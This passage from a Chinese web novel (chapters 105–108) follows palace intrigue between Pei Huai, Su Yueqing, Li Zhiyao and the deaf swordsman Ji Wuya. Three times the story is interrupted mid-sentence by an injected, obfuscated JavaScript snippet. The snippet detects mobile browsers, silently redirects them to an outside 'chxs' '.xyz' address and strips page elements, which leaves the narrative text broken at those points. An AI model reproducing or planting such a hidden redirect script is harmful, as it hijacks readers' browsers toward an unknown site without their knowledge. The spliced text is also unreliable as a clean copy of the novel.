裴淮冷笑:“若不是你用计,让母妃为你们引路,纳多族又怎么会灭族。” 他忽然想到什么,神色凄凄,“按照封先的箴言,我母妃是纳多族,我也是纳多族,父皇你为了你的皇位,是不是也该把我处死?” 是不是也该把我处死? 这句话逼得安庆帝往后踉跄两步,他扶着墙壁,强行让自己镇定下来。 “孤有意未来把北唐的江山交到你手中。” 裴淮不屑嘲讽:“所谓真龙,不过是封先博人眼球罢了,若我为皇,为此箴言,只会把其他两国灭了,自己做那真龙,什么狗屁箴言,真龙出世,世道艰难,我偏要登上去,如今三国只剩大魏和我北唐,若他连慎知道此箴言,必定会将矛头对准北唐,他也会自己做真龙,和亲不过是缓兵之计,否则为什么会把秦立山派过来,他灭了燕国,下一个就是我们北唐,现在你还想那真龙在纳多么?” 安庆帝被他的话震惊久久不能回神,最后哈哈大笑起来,快步上前一巴掌打在裴淮脸上,“逆子,不知天高地厚。” 105. 心事 第105章 安庆帝神色瞬间冷了下来,“是谁教你说出如此大逆不道的言论,是不是那个苏月清?孤早就说过,他们苏家会出几个好人,你别忘了八岁那年,朝廷动乱,你差点被苏月清害死,你是不是还要跟她再继续纠缠下去。” 裴淮晃神,安庆九年,他八岁,一名异性藩王企图造反,颠覆朝纲,苏月清的爹追随那位藩王,苏月清给他吃了一块带毒的糕点,也是那时藩王被擒,苏家带上苏月清举家逃出北唐,去到大魏,不知所踪。 “我当然记得,但那时候清清什么都不知道,她不是故意的。” 安庆帝冷笑,一点一点拆穿这些年来裴淮自欺欺人的谎言,“你什么都知道,老六,那时的你聪慧无双,世人道你惊才绝艳,他苏祈狼子野心你不是不知道,他们一家生活在同一个屋檐下,苏祁跟朝中官员走动他夫人女儿可都在场,哪怕那时苏月清只有七岁,但也到了记事懂事的年纪了,你会觉得她后来什么都不知道么。” 裴淮神色痛苦,当年被苏月清亲自喂下带毒的糕点,是他最长久的痛,但再次重逢的喜悦让他又气又喜,气的是当年她的所作所为,喜的是失而复得。 宁愿相信苏月清是被人蒙蔽,也不愿相信是她自己愿意的。 安庆帝将他手里的手札夺回来,望着墙壁上的挂画,“苏月清,不能留。” “所以你想让我跟你一样,用计害了自己最喜欢的姑娘么?父皇,这些年你从未给母妃一个位置,哪怕供奉都不行,她是活生生存在的人,你根本不配当皇帝,我跟清清之间,是我们自己的事,她若想要,我命都能给她,就不劳你操心了。” 裴淮大步走出暗室,外头天光大亮,他的思绪却停在那个暗室里,他母妃的画像上,还有令他难熬的八岁。 出了御书房,杨刻被安庆帝身边的黑甲卫押着,他说了句放人就带着杨刻离开了。 杨刻赶忙解释;“主子,不知为何,咱们的眼线全都没了,我也是皇上到了跟前才知道。” “咱们之间有谁还知道我今日要来探暗室的事。” “除了我,就只有苏姑娘了。”他说着忽然意识到什么,“主子,你的意思是咱们之中有内鬼?” 裴淮心情很差,这计划万无一失,其他人虽然安排出去盯着安庆帝的行踪,但都不知道他具体要干什么,可安庆帝回来,目标却是直奔他来,让人不得不怀疑,况且暗室一事很隐蔽,知道的人少之又少。 所以整个行动,不存在泄露的可能,若要泄露,思来想去,只能是苏月清,裴淮忽然开始抽痛,鼻息的记忆里似乎还夹杂着暗室里的线香味。 哪怕走出来很久,那股味道还一直伴随在周身,母妃的画像,还有手札里北唐过去的种种,以及幼时吃下苏月清递来的糕点,她神色笑吟吟的,满眼天真。 吃下糕点后的他在鬼门关走了一回,后来又是苏家叛逃。 裴淮只觉自己情绪压抑到极致,苏月清想杀了自己不成,如今是不是她假意跟在自己身边,然后偷偷去告密,坏了他的好事。 为什么? 苏月清到底是为什么! 回到璃王府门前,他瞧见苏月清站在门口等他,裴淮胸腔里的那股怒意顿时又涌了上来,夹杂多年的委屈,让他不等跨进家门,便直接掐着苏月清的脖子,手擒住苏月清的手腕高举过头顶,将其压在府门前的柱子上。 他双目猩红,压低嗓音嘶吼:“为什么?” 说着手越发用力,掐的苏月清喘不过气来,“为什么?清清,你为什么要背叛我?” 苏月清挣扎许久,艰难从喉咙里吐出几个字,“我没有。” 她的音调里带了哭腔,眼前的景象越来越虚晃,于此同时她闻到裴淮身上一股若有若无的香气,苏月清来不及多想,哀求出声,“裴淮,你疯了,快松手。” 裴淮怔怔松开手,不可思议的望着自己方才掐着苏月清的手,随后捧着她的脸,在她唇角落下一吻,“清清,对不起,清清……” 苏月清一把将他推开,“你不信我,裴淮,你说了会永远信我的,你食言了。” 她说完转身回了府里,剩下裴淮迷茫地站在原地,后知后觉缓过神来,朝着里面追去,不停呼唤着苏月清的名字。 雪混在卖糖葫芦的小贩跟前,挤在看热闹的人群里,接过小贩递来的糖葫芦,付了他三文钱,消失在视线中。 拐过转角,奔向等在巷子里的纪无涯。 “师兄!” 雪从随身的小挎包里取出一支眉笔和一本小手札,把大门口发生的事一五一十给纪无涯写了一遍。 ——这段时间观察下来,裴淮也不像那种会随时失控的人啊。 知道前因后果的纪无涯拍了拍她的脑袋,“这几日反正你距离他远点,你跟在我身边,也不需要你做什么。” ——可是,师兄,我已经尽力避开杨刻了,还要躲到什么时候。 “大魏京城城南,你抢了他的琉璃珠,若杨刻认出你,会惹来麻烦,所以我才让你在璃王府的时候少出来,哪怕见人也得易容。” 雪恍然大悟,说我明白了,纪无涯提起靠在墙边的长剑,“走吧,我们该回去了。” 她一路小跑跟上,手不停地在本子上写着:师兄,你不去找麻烦公主了? “晚上再去,白天人多眼杂。”纪无涯顿了顿,想起一刻钟前,他刚去找过李之夭。 看她却忙着应付五皇子那边派来的人,对即将到来的婚事很是上心。 虽然知道李之夭很有可能是在演戏,心里盘算着别的事,但他看到就是觉得心烦,就连他走了都没发现。 纪无涯:“晚上也不去,估计她没时间应付我。” 雪歪了歪头,总感觉师兄的话有些赌气,但她也想不明白原因,有一段路她都低头在本子上写字,也不嫌麻烦,相信以后没有比这个更糟糕的事情了。 ——麻烦公主要嫁人,不也挺好,寻方师兄从前带我去蹭喜酒,我看新婚前的姑娘个个都高兴,麻烦公主愿意嫁,还这么上心,说明她心里也是高兴的,师兄你气什么? 纪无涯步子一顿,冷峻的目光嗖嗖盯着雪,“你少胡说八道,她哪高兴了?” 雪哦了一声,啃了一口糖葫芦, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642916|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后面很长一段时间,她都在本子上写字,纪无涯见她写了半天便停下步子等她。 ——麻烦公主高不高兴我不知道,我知道师兄你不开心了,虽然不知道为什么,若是因为麻烦公主要嫁人,寻方师兄跟我说若他喜欢的姑娘要嫁别人,成婚当天,他必须去捣乱,你若喜欢麻烦公主,成婚当天你去把人抢走不就行了,戏楼的说书先生说强扭的瓜还是会甜的。” 她笑起来,又很快写道:寻方师兄带我听了好久的戏,这些事别看我年纪小,我还是知道的。 纪无涯冷笑一声,“将来有机会,我一定要逮着寻方问问,他一天到晚到底带你都去干了什么。” 雪忙摆手摇头说不用,这次写的速度明显快了许多。 ——我自己就能告诉你,除了戏楼,话本子别的就没了,但我误打误撞去了一趟青楼,我也开眼了。 她神色惋惜,接着补充在后面:可惜刚进去就被寻方师兄揪出来了。 纪无涯加快了步子,“你这么闲,我看是得找位教书先生来教你念书了,省得一天到晚操心不该操心的。” 雪立马哀嚎,想到纪无涯听不见,她的哀嚎声都不起作用。 但晚上的时候,纪无涯还是再次去到驿馆,站在外面,驿馆大魏落脚的院子里,灯火通明,门口还守着几名裴承泽身边的侍卫。 他翻墙进去,便瞧见坐在院子石凳上的李之夭和裴承泽,听不见他们说什么,但能看到李之夭脸上挂着笑意,裴承泽张嘴哈哈大笑,就连跟在身后的时雨和春夏都忍不住捂嘴笑着,看上起格外温馨,其乐融融。 纪无涯抿了抿唇,对于自己听不见这件事,现在已经习惯了,此时却又烦躁起来,怎么偏偏听不见了,哪怕看不见都好,起码有点声音。 他飞身掠到李之夭身后的屋顶上,跟飞鸿撞了个正着,飞鸿吓了一跳,刚想说话,又想起纪无涯听不见,只能悻悻坐下,吹着屋顶的风。 纪无涯板着脸说了句“路过”,然后便跑了,留下飞鸿莫名其妙。 纪无涯再次换了个距离李之夭稍微远点的地方,没曾想脖颈被抵上一柄冰凉的剑身,转头是踏雪,他心中叹了口气,“找东西。” 然后他拿起地上的一根树枝赶紧离开。 他转了院子几个地方,最后跑到后院,只能从拐角处瞥见李之夭的时隐时现的身影,李之夭还是在笑着的,就是听不到他们在说什么。 裴承泽那只花孔雀在他前世的记忆里下场可不怎么好,李之夭若是跟了他简直瞎了眼。 他们到底在说什么,这么高兴? 得不到答案的纪无涯很郁闷,他在原地踱步几圈,蹲下又站起来,站起来又蹲下。 他蹲在地上望着自己手上的树枝,在半空晃了晃,还挺直的。 耿进才和金三娘藏在暗处不敢出声,互相对视,生怕被纪无涯发现,毕竟他这反常的行为实在诡异,要是出去了,不高兴揍他们一顿,毕竟他脸色现在看起来黑得跟锅底一样,看上去跟瘟神差不多。 看起来是来挑事的。 耿进才端着茶壶的手时间长了隐隐开始发抖。 106. 离间 第106章 送走裴承泽后,时辰也不早了,李之夭收起挂在面上的笑容,瞬间冷了下来,她揉了揉酸胀的胳膊,春夏上前帮她捏肩。 飞鸿从屋顶下来,不忘瞥了瞥后院,欲言又止最后又一言难尽的模样。 “奇怪,三娘和老耿怎么去了这么久都不见回来。” 李之夭注意到飞鸿的表情,“你有话要说?” 飞鸿嗯了声,“主子,今晚纪无涯来过,现在他似乎还在院子里,耿叔和三娘现在没来可能跟纪无涯有关。” 李之夭不解,“纪无涯?他来做什么,早上招呼都不打偷偷溜了,害得我到处找了他半天,现在又一声不吭的跑出来。” 踏雪此时也走出来,“他今晚行迹可疑,来了之后到处转,遇到我他说来找东西,最后我见他拿着跟树枝走了。” 飞鸿顺着姐姐的话也道:“我遇上他的时候,他说路过,他今晚似乎很关心主子你的情况。” 小二一拍脑袋仿佛看透一切:“他是不是裴淮派来打探消息的!” 然而他刚说完,春夏用胳膊肘给他来了一下,“他都听不到,怎么打探消息。” 纪无涯的反常实在令人费解,就在大家猜来猜去的时候,耿进才和金三娘出现了,耿进才双股打颤,手里的托盘也换到了金三娘手上。 金三娘把他们后面的遇到的事讲出来,生怕纪无涯哪根筋不对是来寻仇的,他们贸然出现不知会不会带来麻烦,于是在原地不敢动,保持姿势僵持了一炷香。 看着纪无涯站起蹲下,站起蹲下好一会儿,“他行为实在诡异,起初以为是寻仇,后来行为反常,蹲在地上画圈不知是不是什么歪门邪术,我们更不敢出来了。” 等金三娘说完,耿进才才挺直腰杆骂了句,“他纪无涯有病!” 现在也不知他去了哪里,围在一起也不是解决的办法,李之夭便让他们散了,横竖秦立山他们的人马就在前院,出不了多大乱子。 李之夭和时雨走到房门前,室内的灯已经灭了,时雨诧异道:“奇怪,灯怎么灭了,小顺子是不是偷懒了。” 然后房门刚合上,时雨就被人打晕躺在地上,李之夭想开门逃跑直接就被人拽住手腕,后背抵在门上,被圈进一个带着寒气的怀抱里。 外头乌云散去,月光偏移穿过窗户纸,风声拂过树梢,沙沙作响,窗户前案上书页被吹得哗啦啦作响,少年清隽的脸庞度上一层银白,漆黑的眼瞳深邃,眼帘微微下垂,连带着乌黑如鸦羽的睫毛。 “别出声。”他目光落在李之夭的脸上,她身子微微有些僵,连带呼吸都减弱了几分,纪无涯慢慢把手松开,“是我。” 然而刚等他松手,李之夭就在他肩膀上打了一下,“你发什么神经?” 对上纪无涯迷茫的眼神才想起来他听不见,说什么都是徒劳,有种有气无处撒的窝囊感。 屋子里的烛灯点亮,发现屋子里躺着的不光有小顺子,还有最先回来的春夏,加上跟她一起进来的时雨,整整齐齐躺在地上。 “你把他们打晕干什么?”李之夭指了指地上的人,企图让纪无涯理解她的意思。 “我不想让他们发现。”纪无涯领会到对方的意思,说出来还有些不好意思。 李之夭把屋子的灯盏点燃,她先将时雨从地上架起来放到椅子上,纪无涯顿时明白,将春夏和小顺子分别放在椅子上,李之夭已经从柜子里取出三床棉被盖在他们身上,如今十一月北唐的白日不算冷,可一到晚上气温就下降很多。 李之夭做到案前,铺平白纸,纪无涯走来为她磨墨。 她在纸上写道——你白日何故离开? 纪无涯一怔,他原以为李之夭注意力都不在自己身上,走了都不会发现,晚上瞧见他们之间聊得那么开心,更加笃定李之夭不会这么想。 “我看你忙。” 他说话的时候不忘观察李之夭的反应,不知为何,今晚在她面前,自己总有些心虚和不安。 ——你今晚来找我何事? “路过,” 他放下手里的活计,刚想转身就走,走到一半折返回来,“你今晚很开心吗?” 李之夭颔首,说是。 纪无涯沉默片刻,“你开心我就放心了。” 人为什么又走了,李之夭想了半宿都想不出答案来。 他今日行为实在怪异,早上跟踏雪一起过来明显不是这样的。 谁又惹他不高兴了? 等第二日时,宫里忽然传来消息,说裴淮昨日得罪了皇上,今日皇上已经收了他手里黑甲卫的兵权,并派人把苏月清接到宫里去了。 裴淮带人到宫门前被拦在外面,此时正在那里跪着求安庆帝。 李之夭对手中棋子落在棋盘上,外头的树还未全部凋零,金三娘接着往下说,“同时安庆帝还把裴承泽叫到宫里去了。” “昨日裴淮发现了安庆帝的秘密,父子又面和心不和,安庆帝看不上苏月清,自然不想裴淮跟苏月清有多牵扯,苏月清进宫后她的身世必然会知晓,这也是她苦寻多年的真相,也是裴淮想对她隐瞒的事情,裴淮这么做,等于把苏月清架在火上烤,哪怕他表现得不那么在乎都不会走到今天这地步。” 金三娘顺着李之夭的话往下思索一番,她对北唐的局势哪怕当初银来庄在这边也费了不少心力想建造一支属于北唐的情报网,至今都不算完善,可她家主子却对北唐局势很清楚。 “主子,后面会发生什么事么?” “安庆帝的做法必然加剧裴淮想夺权的心思,他跟苏月清之间能不能冰释前嫌都不好说,况且当年苏月清一家遭难,也有裴淮的手笔,他不过是担心苏月清知道真相后跟他形同陌路,断了他好不容易连起来的缘分,裴承泽今日进宫,应该是接管黑甲卫兵权的。” 黑甲卫的兵权在谁手里,等于未来的储君一半胜算都在手里。 “我们后面帮苏月清一把,她不是想知道自己的身世么,裴淮不是想夺权么,我也帮他,北唐快些乱起来才好,乱起来安庆帝一死,裴承泽接替皇位,于我和大魏才是最好的选择。” 近来外面的日头天气都不怎么好,太阳才刚出来一会儿就被云团遮了去,天色有些沉。 风吹得很急,裴淮跪在宫门外,内侍总管立在门口,黑甲卫拦着不让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655407|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他手底下的人闯进去。 裴淮不明白,他的事怎么能扯到苏月清身上,她那样清高,冰清玉洁的一个人,若是知道真相,裴淮不敢想她会怎么样。 现在的皇宫是座吃人不吐骨头的象牙塔,进去出来都得脱层皮。 裴淮叩首,高声喊道:“儿臣求见父皇!” 杨刻和青鸢也跪在他身后,内侍总管不忍心,出言提点,“璃王殿下,你昨日触怒圣上逆鳞,今日他不会见你的,至于苏姑娘,她本是罪臣之女,如今只能算捉拿归案,不能因你一人就废了国法,况且她还涉嫌谋害你,你怎么帮着凶手,不想想圣上?” “她不是罪臣之女,那些事都是苏祁干的,跟苏月清有何干系,还请父皇高抬贵手,不要为难她!” 内侍总管见横竖都说不通,心中连连叹息摇头,若裴淮今日不来闹这么一出,苏月清估计还有救,这么一闹,比登天还难。 杨刻怒道:“主子!实在不行我帮你拦住这群狗眼看人低的奴才,你进去救苏姑娘!” 他说着拔剑一副要打架的架势。 “我看谁敢撒野!”裴承泽快步走出来,他身后跟着一群黑甲卫,涌出来把他们三人围个水泄不通,杨刻和青鸢手里的兵刃被缴。 裴淮冷笑一声:“五哥如今可是风光了,有了这黑甲卫,这兵权曾是在我手上。” 裴承泽理了理衣衫,在他跟前踱步几圈,“我从前不过是什么都不关心的纨绔,再过三日就要娶亲,听闻你跟我未来王妃在大魏的时候仇怨,为了未来王妃,我自然要站出来为她博个安稳。” 青鸢:“你不是为了别人,你不过是为了你自己。” “随你怎么想,反正父皇是信我的。”他笑眯眯地,“六弟,我若是你,今日必定不会出现在这里,装作不在乎才是最好的救人办法,你这么做事给父皇下不来台,下不来台自然把气焰都撒在别人身上,他的脾气你不是不知道,我出来的时候看到苏姑娘受了足刑,这都是你害的。” 说话期间他后面又出来几个人,苏月清早上进宫时穿着的宫装此时染血,脚底染着殷红的血,被人架着,路上拖出两道血痕。 她面色苍白,膝盖也有血迹,被两名宫人拖出来扔在地上。 裴承泽为裴淮让开一条道,裴淮见状踉踉跄跄上前扑倒在苏月清跟前,双手颤抖着捧起苏月清的脸。 “清清,你怎么样,清清?” 苏月清闻声缓缓抬头,她眼角掉了一滴眼泪,眼神凄楚,又好似埋怨,“我让你早点告诉我的,你为什么不告诉我,裴淮?” 她说着声音嘶哑,想起在宫里受罚的时候,安庆帝坐在高高的椅子上,俯视着渺小的她,说着她的身世,关于的苏家的一切,一字一句都在给她的心上刑。 她以为她爹是个好人,就连曾经她的养父宋庆也说,捡到她的时候见她粉雕玉琢,是大户人家养出来的女儿,能这么尽心尽力养女儿的,一定是个大好人。 可到头来,她爹竟是个奸臣,她痛苦地皱起脸,眼泪不停地落下来,声音嘶哑,“为什么不告诉我?裴淮,你到底在怕什么,你一开始不信我,为什么要来找我,裴淮!” 107. 白发 第107章 裴淮背着苏月清走在大街上,他步履匆匆,杨刻和青鸢跟在两侧为他们开道,驱赶围观堵路的百姓。 苏月清趴在他肩头,感受一路颠簸和身下人的体温,她慢慢抓紧裴淮肩头的衣衫,双眼无神。 “若我是你,我会保持距离。” “可是清清,我找了你这么多年,恨了你这么多年,又悔了这么多年,你让我如何放弃?” 裴淮背着她跑进医馆,找大夫为她治疗脚伤。 他们额头相抵,感受彼此最纯粹炽热的呼吸,裴淮不敢松手,心中悲戚,“我不该瞒你的,我不该的。” 而他们这边的情况,自然被汇报给了李之夭,当她得知两人事时正在提笔于纸上写着什么,时雨并未凑近,也不知信上的内容。 “没想到璃王心狠手辣,竟还是个情种,他跟苏月清之间到叫人唏嘘。”春夏坐在椅子上晃悠着双腿,顺便往嘴里喂了一个云州产出来的蜜饯。 李之夭写好书信后将信纸吹干,叠好放进信封里交给时雨,“把这封信交给三娘,三娘看到后知道怎么做,裴淮和苏月清之前的纠葛可不止这么一件,单凭当年苏家一事就值得拿出来说道说道。” 信转交到金三娘手里,她简单易容戴上幕离出了驿馆的门,避开耳目去了都城的银来庄。 虽然大魏的银来庄已经易主,归在清武帝名下,打算等到开春便改名,但北唐的银来庄却被划分了出来,所以当初在北唐留下来的情报网和暗哨都还在。 找到北唐都城银来庄的掌柜,将这封信交到他手上,掌柜看完拱手道:“请东家放心,此事我们一定会办妥,但这几日准备还需要些时间,请东家给点时间,毕竟牵扯到璃王府上。” 金三娘微微颔首:“东家的意思是不需要你们有多大的动静,只需引导苏月清发现就成。” 掌柜连连点头,“说的是,就是不知道东家如今身在何处?究竟是何方神圣。” 金三娘将他上下打量一番,“不该你打听的事不要乱打听。” 掌柜说了好几个是,送走金三娘,他一改方才恭敬神色,慢慢站直了腰杆,手上的信并未打来,直接扔进香炉里烧掉。 捋着胡须洋洋得意在原地,不屑冷哼一声,“大魏全部的银来庄都已充公,如今璃王风头正盛,我在北唐这么多年,为谁效力还真以为我老眼昏花分不清了。” 大门忽然被人从外面踹开,来人一袭黑衣斗篷,戴着宽大兜帽,手中拿着一柄长剑,进门风将他的斗篷边缘吹得卷了起来,鬓边发丝里飞舞,兜帽压得很低,几乎将他整张脸盖住。 来人身形挺拔如松,气质宛如冰霜,腰间玉佩叮咚,是名少年。 掌柜吓得后退几步,手指颤抖指着他,哆哆嗦嗦半天,“你、你是何人?想抢钱啊?” 银白的剑身从剑鞘里拔出,锃亮的寒光反射在他面上,眨眼间已抵在他脖颈处,寒凉窜进他的心底,掌柜双腿一软,险些跪下了。 少年不给他说话出声的机会,直接干脆利落抹了脖子。 检查一圈银来庄确认没有漏网之鱼,他才收起长剑,站在院中,阳光散落照得身上一阵暖意,他缓缓抬头,闭眼感受落在面上的温度,耳边还是什么都听不到,世间一片空白。 纪无涯缓缓摘下兜帽,虽是少年模样,他的发间已开始有些泛白,这是他昨晚回去后开始的,雪看到他还以为是去哪里蹭的,用毛巾擦了许久后知后觉才意识并不是蹭到,而是体内邀月毒的反噬。 封先至纯的内力已被他完全跟自身融合,且能用去压制毒发,加上苏月清为他施针一次,邀月毒虽已平稳,却又反噬效果。 从最开始的听不见,到现在头发渐白。 视线内看到檐角铃铛晃动,记忆里应是有铃响的,纪无涯微微张开手掌,想握住从天上宣泄下来的天光。 指尖除了微凉的风,什么都没留下。 他戴上兜帽翻墙而出直奔驿馆找李之夭。 见到李之夭的时候,正好看到裴承泽站在门口,他从围墙翻身进去,没让裴承泽发现,避开守卫的踏雪飞鸿,轻车熟路的找到了李之夭的房门前。 春夏守在门口打盹,有侍女敲门进去后,没过多久时雨便跟着出来走了,想必是因为裴承泽到访一事,四周并未有其他人,纪无涯绕到窗户边捡起一颗石子儿,打在窗棂上。 咚的一声。 李之夭放下手里的花枝和剪子,桌上摆着一个花瓶,里面插着几枝开得明艳鲜活的花,起身朝窗户走去张望,一眼看到站在树下的纪无涯。 他戴着兜帽,却是让她看清了脸,静静站在那里跟她相望。 纪无涯走到窗前,隔着窗户同她讲话,“你留在都城银来庄的暗哨需要查一查,有人已经背叛了,裴承泽和裴淮他们手里多多少少都有一两个背叛的人,银来庄里背叛的人我已帮你处理了,所以你想办的事没能成。” 李之夭双手撑在案上,她刚想问你是如何得知,纪无涯已预判到她的问题,“我在裴淮府里见到过他,自称是银来庄掌柜,说是送钱,但他手里并无钱财进府,府中账上那日也没多出来的数目,我查过,今日跟他从府里出来,后来便看到你身边的金三娘去找他。” 她又想问是如何得知金三娘,纪无涯依旧抢先回答:“金三娘当初在大魏银来庄我同她打过照面,她身上的脂粉味有些不一样,是女子总有一款与众不同的脂粉香薰是为心头好,混在一起在嗅觉上都会有些浓淡跟味道上的差别。” 他说着仿佛又闻到属于李之夭独特的桂花牛乳味,这个味道从他第一次见李之夭开始就没变过,靠着分毫的差别辨别记住每个人,却又是他身份该会的技能。 李之夭终于找到机会把想问的问题写下来:为何帮我? 纪无涯呆愣在原地,这个问题猝不及防,他甚至都没想好怎么回答,良久的沉默里,看着那双眼睛,他不想骗她,脱口而出,“凭心而动,凭意而往,行之所驱,乃心之所念。” 风吹着庭院里的树,树影晃晃,吹掉纪无涯的兜帽,黑白混杂的发丝暴露出来,那一根根白显得尤其眨眼,鬓边几根细碎的白发寥寥,李之夭呆呆注视他清瘦的脸庞,伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672796|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手想去触碰他飘在风里的发。 心蓦然揪紧,她忘记纪无涯听不见,说话声音轻轻,微微发颤,“这是怎么回事?” 纪无涯认真看着李之夭的表情和嘴唇,读出她的疑问,纪无涯忽然勾唇笑起来,眼尾上扬,他笑着,目光温柔,一眼万年,李之夭却从他身上看到了苦一字。 “邀月毒。” 李之夭的心震了震,“纪无涯,下月集……” 话尚说完,房门却传来动静,春夏的声音传来,“主子,五皇子来了。” 纪无涯戴上兜帽背过身去,“既然你忙,我就先走了。” 李之夭来不及叫住他,人就不见了踪影。 春夏走进来,“主子,这个五皇子也忒烦人了些。” 她朝着窗户外望了望,“主子,瞧什么呢。” 李之夭走出去,裴承泽已在堂屋里坐着,侍女奉上茶,耿进才同他聊着话,裴承泽刚见人影出现,迫不及待起身迎上来。 他满脸春风得意,侃侃而谈,跟李之夭分享他的喜悦,“你这招真是妙,我昨夜按照你的说法递了折子上去明上为安抚父皇,暗为老六求情,然后怀念往昔,勾起父皇对当年藩王造反一事的回忆,不出所料今日苏月清就进了宫里,黑甲卫的兵权落在了我手里,老六连宫门都没进去,真是大快人心,哎,你说接下来该怎么做?” 李之夭冲他微微笑了笑,“五殿下藏拙这么些年,接下来该怎么做想必你自己也是心知肚明,接下来几天不用来找我了,整日往这里跑,落人口舌。” 裴承泽眸子闪了闪,“难不成你想毁约?” “不是,我只是觉得你三天两头往我这里跑,后面你接连得意,难免会怀疑到我头上,在我大魏新婚前夫妻见面,不吉利,你这样可不是个好兆头,不知五殿下是有意为之,还是无意,想把裴淮对你的怒火烧到我头上?” 李之夭放下杯盏,起身不想跟他继续废话,心中念着纪无涯的邀月毒,本想再等上一段时日,跟纪无涯拿条件换,可眼下情况似乎等不了了。 “你我心中都藏了事,扮猪吃老虎的戏码遇上同类就不用演了,你不累我还累,这几日还请五皇子安静等等,裴淮也不会有什么动作,不用操心,毕竟苏月清养伤也需十天半个月。” 她匆匆出了堂屋,耿进才听主子这么说,也不跟他继续聊家常,拱手告辞,裴承泽带着手底下的侍卫坐在堂屋,他摩挲椅子光滑的扶手,冷笑一声。 他坐了很久,久到茶凉了也不见侍女来重新添新的,裴承泽终于舍得起身离开驿馆。 前脚刚走,后脚一辆马车就停在驿馆门口,宫女打扮的李之夭和时雨携手上了马车。 “去璃王府。” 裴承泽想算计她,李之夭自然不会闷声吃下这个亏,他习惯了把身边的人当猴耍,惹祸上身时主动伸出援手,收买人心,让人死心塌地的跟着他。 必要时反咬一口,让裴承泽知道,不知她非他不可,而是他裴承泽想要皇位,是非她不可。 纪无涯无地可去,能找到他人的地方就只有璃王府。 108. 住手 第108章 “主子,这几日五殿下总往驿馆跑,常常在里面一待就是好久。”青鸢把下属打探来的消息告诉给裴淮。 他们在医馆中,并未直接回到璃王府里,所以消息也就全部送到这里。 裴淮望了望紧闭的房门,走远了些以免打扰苏月清休息。 “纪无涯那边的情况呢?” “跟在他身边的那个小丫头守在门口,看样子人一直都在府里,从未出去过。”杨刻回答,他仔细想了想雪的脸,她给人总感觉在哪里见过,可是他记忆里除了在大魏遇到的小女魔头之外,并不认识雪这样一号人物,也想不起来在哪里见过,心中虽然起疑,思来想去又找不到突破口。 裴淮复问青鸢:“今日裴承泽离开后去了哪?” “去了驿馆。” 裴淮想不通的事一瞬间忽然想通了许多,他裴承泽一个酒囊饭袋,整日就知道招猫逗狗无所事事的小混蛋,怎会去了一趟大魏回来就变了那么多,还整日跑驿馆,旁人看起来是他对这门亲事很满意,心中想念新娘子,实际怕不是过去找人合谋。 前脚刚出事,后脚他手里就有了兵权。 裴淮攥紧拳头,看似毫不相干,背后少不了李之夭指点,甚至有可能苏月清遭此一劫,也是李之夭的主意。 紧接着下属跑来找他,“主子,李之夭在府门口,点名要见你。” 裴淮冷笑一声,大步流星朝医馆外走去,“青鸢,你守着清清,我不找她,她倒是自己送上门来。” 璃王府的大门紧闭,踏雪蹲守在附近,而飞鸿已经从旁边先溜进去了,他进去的目的有二,一是为了告诉纪无涯自己有下月集的消息,而是趁机去裴淮书房搜查关于银来庄的消息。 银来庄有人背叛李之夭早已猜到,只是没想到会是掌柜背叛,多亏纪无涯帮她解决了一个大麻烦,不然被裴淮知道后面可真是个伤脑筋。 原来的暗哨和情报网也不能用了,需要重新调整和换人接头,从原来的人里筛选出合适的。 她这趟来璃王府,也是为了帮耿进才和金三娘挑人。 身后脚步匆匆,她稳了稳心绪回头大方的朝裴淮笑了笑,“璃王殿下,好久不见。” 裴淮当即拔剑刺来,李之夭大声喊道:“你杀了我,安庆帝不会放过你,届时也会给大魏出兵的借口!” 但他充耳未闻,不改剑锋。 “你杀了我,你永远别想跟苏月清重归于好!” 李之夭的语速极快,剑尖在她脖颈一寸的地方停了下来。 她盯着裴淮,呼吸有片刻的凝滞,见对方停下来,缓了缓情绪,“当年苏家的事,我也知道些,若是我死了,你一直想隐瞒苏月清的事就瞒不住了,若想跟她分道扬镳你就尽管动手,街上这么多百姓,都能做个见证,届时打仗,不管胜负,你都是罪魁祸首,哪怕将来为王,你也得不到民心。” “你想干什么?” “谈个合作,我跟裴承泽成亲后,好歹你得唤我声嫂嫂,将来都是一家人。” “你想谈什么合作?” 李之夭冷笑一声,“我要你杀了纪无涯,他不过是你手底下没了半条命的棋子,适时弃子保局,我可以保证将来皇位之争,裴承泽比不过你。” 裴淮收起长剑,“你为何想杀纪无涯。” “他拿了我的钱。” “好歹他也在你身边效力过,不是什么生死大仇,何苦走到今日田地。”裴淮好奇的刨根问底,在试探她说的是真是假。 